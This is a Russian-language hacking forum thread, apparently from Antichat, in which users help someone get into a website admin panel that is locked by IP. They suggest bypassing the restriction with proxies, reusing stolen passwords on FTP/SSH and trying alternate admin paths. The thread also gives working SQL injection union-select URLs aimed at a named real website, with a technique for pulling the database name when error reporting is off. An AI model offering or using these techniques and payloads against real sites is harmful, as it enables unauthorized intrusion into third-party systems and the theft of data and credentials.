ANTICHAT — форум по информационной безопасности, OSINT и технологиям

А каким образом не подчкажеш?

Самым прямым способом - через шелл например которого как я понял у тебя нету или ftp доступ которого по всей видимости у тебя тоже нету так что на этот можешь даже и не расчитывать.

MurZeg
Если доступ в админку закрыт по IP то никак ты туда не попадёшь, кроме как с разрешённых айпишников.

-m0rgan-
Как всегда в своём репертуаре.
Мне интересно, ты сам как думаешь, если бы у него был доступ на запись .htaccess нахрена ему было-бы задавать тут эти вопросы и вообще ломиться в админку?

Мда плохи дела... Всем спасибо за ответ

2jokester
Иему нужен доступ в админку, на вход в акминку стоин ограничение по ипу по определённому диамозону, ИМХО.
Он нашол баг и получил пароли, но в админку зайти не может.
Ну почему бы ему не заюзать данный баг для получения доступа к .htaccess ?

Меня не посвещали, для чего ему нужен доступ в админ панель.

Возможно я ошибаюсь, но это моё личное мнение...

2MurZeg, попробуй поискать прокси, который подходит по данному диапазону (если ты его знаешь) - уже выручал такое =)
А вообще, можешь тупо попробовать данный пасс к ФТП\ССХ и прочим...
====
Ещё кстати вариант, тож встречался. Когда в Файле htaccess стоит ограницение по ИП только к Одному файлу, к примеру /admin/index.php, а ты попробуй прописать, к примеру /admin/admin.php и есть вероятность, что проканает

(это в случае если ещё и админка так реализована)

http://tinakandelaki.ru/index.php?page=press&id=-1+union+select+1,2,3,4,5--

При выявлении database() ниче не выскакивает (отчет о ошибках выключен я так пологаю) что делать?

unhex(hex(concat_ws(0x3a,)))

http://tinakandelaki.ru/index.php?page=press&id=-1+union+select+1,unhex(hex(concat_ws(0x3a,database ()))),3,4,5--+

concat_ws(0x3a

в данном случае не нужен, используется только для вывода НЕСКОЛЬКИХ данных подряд, userass:mail например

если только один параметр надо выцепить - то просто лишний оператор, иногда имеет значение при ограничении длины запроса